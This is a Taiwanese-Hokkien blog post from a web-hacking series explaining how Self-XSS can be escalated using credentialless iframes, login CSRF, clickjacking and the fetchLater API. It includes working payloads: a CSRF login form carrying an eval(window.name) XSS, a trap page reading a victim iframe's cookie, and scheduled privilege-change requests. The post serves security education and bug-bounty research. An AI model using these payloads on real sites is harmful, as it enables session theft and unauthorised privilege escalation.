iT邦幫忙

2025 iThome 鐵人賽

DAY 11
0
Security

規組駭了了::你無定落勾去的鑠奅 Web Hacking 步數系列 第 11

0x0B / Front-end.予 Self-XSS 閣再偉大.credentialless Iframe

  • 分享至 

  • xImage
  •  

今仔日咱來簡單講一个我誠佮意的前端研究員 Slonser 前幾個月分享的一招:Make Self-XSS Great Again


恁若是有咧揣 Web 漏縫耍 bug bounty,加減攏捌拄過這款情形:歡歡喜喜去揣著一个 XSS,落尾煞發現干焦會使佇家己的口座頂懸走,這就是咱所謂的「Self-XSS」—— 家己去共家己 XSS 爾啦。

若共這款發現報起去,官方通常攏會共汝應講「汝拍這無啥效啦」。這篇文章就是欲來共逐家講,按怎利用瀏覽器一寡新功能,共這个「無啥效」的 Self-XSS,變做真正是有威脅的 Stored XSS。

Self-XSS 的艱苦

Self-XSS 之所以會予人看無,問題出佇這个所在:

  1. 汝若欲發動一个有路用的 XSS 攻擊 (payload),就愛先登入攻擊者的口座。
  2. 毋過,汝若登入攻擊者的口座了後,咱的 XSS payload 就干焦會影響著攻擊者家己,摸袂著受害者的 session。

這款進無步退無路的情形,予 Self-XSS 看起來足無路用。毋過,這个想法已經是過時矣,因為這馬咱有一項新家私,號做 credentialless iframe。

credentialless iframe

credentialless iframe 聽起來敢若是足深,其實若講予透,伊就是一个「無身無份」的 iframe 啦。你若佇 HTML 內底按呢寫:

<!-- 這个 iframe 會用一个全新的、空的身份來 lóo 入來 -->
<iframe src="http://victim.domain/" credentialless></iframe>

<!-- 這个 iframe 會乖乖仔用你這馬的身份 (cookie) 來 lóo 入來 -->
<iframe src="http://victim.domain/"></iframe>

共這兩个 iframe 開--開來看,咱會發現講第一个 credentialless iframe 內底是猶無登入的狀態,因為伊會去生一个暫時的、無任何 cookie 佮 credential 的環境,阿第二个正常的 iframe 就會是咱已經登入好勢的畫面矣。

怹竟然是 Same-Origin!

照理來講,一个無 credential,一个是有的,這兩个 iframe 的身份無仝,應該袂當互相牽連著才著。毋過趣味的代誌就佇遮,根據 RFC 的設計,credentialless iframe 佮正常的彼个 iframe,準若來源 (origin) 仝款,怹就會去予當做是「same-origin」。

這是代表啥物意思?這代表彼个無身份的 iframe,竟然有法度去控制有身份的 iframe!

咱來看這段 code:

<iframe src="https://victim.com/xss_page_url" credentialless></iframe>
<iframe src="https://victim.com/"></iframe>

假使講 xss_page_url 這頁內底走這段夆 XSS 的 JavaScript:

window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);

伊第二逝遐原仔會當提著正常 iframe 遐的 cookie!咱按呢 tsua̋nn 成功對一个無身份的所在,去控制,甚至偷提著另外一个有完整權限的 iframe 的資料。

實戰

有了頂頭的觀念了後,咱就有幾若招通變。

第一招:Self-XSS + CSRF on Login (用佇登入的 CSRF)

這招算是基本款。咱若發現目標網站頂有兩个問題:

  1. 有一个 Stored Self-XSS 的點,譬論講 username 無共清理好勢,會使共 HTML/JS code 插入去。
  2. 伊的登入頁面無做 CSRF 保護。

這个時,咱會使按呢做:

  1. 準備一个 CSRF 登入 form:這个 form 會偷偷仔用攻擊者的身份登入。特別的是,username 彼欄,就愛插入你的 Self-XSS payload。為著欲共 payload 傳入去,咱會使來耍 window.name 這个屬性。

    <!-- csrf-login.html -->
    <html>
      <body>
        <form action="http://victim.domain/login" method="POST">
          <input type="hidden" name="username" value="hacker_user<img src=x onerror=eval(window.name)>" />
          <input type="hidden" name="password" value="Super_s@fe_password" />
        </form>
        <script> document.forms[0].submit(); </script>
      </body>
    </html>
    
  2. 打造一个陷坑頁面:這个頁面就是欲予受害者點入來的。內底有藏兩个 iframe。

    <iframe name="window.top[1].document.body.innerHTML = 'edited by slonser</br>' + 'Our cookie is: ' + document.cookie + '\nVictim cookie is: ' + window.top[1].document.cookie;" 
    src="./logi-csrf-poc.html" credentialless></iframe>
    <iframe src="http://localhost:3004/"></iframe>
    

咱規个攻擊流程會生按呢:

  • 受害者共咱的 trap.html 點--開。
  • 第一个 credentialless iframe 開始載入,伊會去走 csrf-login.html,這个 form 會自動送出去,共受害者的瀏覽器佇這个 credentialless 環境內底登入成做攻擊者的身份
  • 因為登入的 username 有覕 XSS payload,按呢 Self-XSS tsua̋nn 就會發動。
  • eval(window.name) 會去讀 iframe 的 name 屬性,彼屬性內底就是咱真正的攻擊 code:window.top[1]...
  • 這段 code 會走去控制第二个 iframe (也就是真正有受害者 cookie 的彼个),閣來去共伊的 cookie 偷出來。

第二招:Self-XSS + Clickjacking

若是登入頁面有 CSRF 保護袂使烏白送資料,咱嘛會使換一條路,用 Clickjacking。做法嘛是趣味,咱毋是欲騙受害者輸入伊的帳密,是欲騙受害者佇一个透明的 iframe 內底,輸入咱攻擊者的口座佮暗號來登入。

對受害者來講,伊會感覺家己是佇咱的網站 (attacker.com) 輸入咱提供予伊的帳密,但實際上伊是佇一个崁佇頂懸、無色的 victim.com 登入頁面咧輸入。伊若一下登入,Self-XSS 隨就發動,就閣會行到親像第一招仝款的路矣。

第三招:若準講連 iframe 都袂使?(X-Frame-Options: Deny)

有當時仔網站會加設 X-Frame-Options: Deny,完全禁止 iframe 的使用。這个時,閣有一項新的瀏覽器 API 會使利用,號做 fetchLater

fetchLater 會當予你排一个網路請求 (request),這个請求會佇共頁面關掉、抑是經過一段時間了後才送出去。伊上趣味的特色是,伊送出去的時,會紮彼个時陣的 cookie。

攻擊流程會變做按呢:

  1. 想辦法予受害者行到會當發動 Self-XSS 的彼頁。

  2. 咱的 XSS payload 毋是直接偷 cookie,是去註冊幾若个 fetchLater 請求,設定無仝的時間(譬論講一分鐘後、一點鐘後、一工後)。

    var req = new Request("/api/change_permission", {
        method: "POST",
        body: JSON.stringify({username: "victim", new_role: "admin"}),
        credentials: "include" // 這个誠重要,才會送出 cookie
    });
    
    const one_minute = 60000;
    fetchLater(req, {activateAfter: one_minute});
    fetchLater(req, {activateAfter: one_minute * 60});
    
  3. 攻擊者登出伊的帳號。

  4. 這時,受害者可能完全無感覺。有一工,伊若閣登入 victim.com,時間一到,瀏覽器背景就會恬恬仔共你彼工排程的請求送出去。因為這擺是用著受害者家己的 cookie,所以一个改權限的請求就按呢成功矣。


莫閣共 Stored Self-XSS 看做無路用的物件矣。佇這个瀏覽器功能愈來愈強的時代,只要咱的思路有綴牢,配合 credentialless iframe 抑是 fetchLater 這款較新的技術,任何一个 Self-XSS 攏有可能會變做一改嚴重的攻擊。做為一个專業的資安研究者,就愛隨時關心這寡瀏覽器的新變化,才有法度發現閣較濟趣味的攻擊手法。


上一篇
0x0A / Email・欸,E-mail address 恁敢真正攏看有?
系列文
規組駭了了::你無定落勾去的鑠奅 Web Hacking 步數11
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言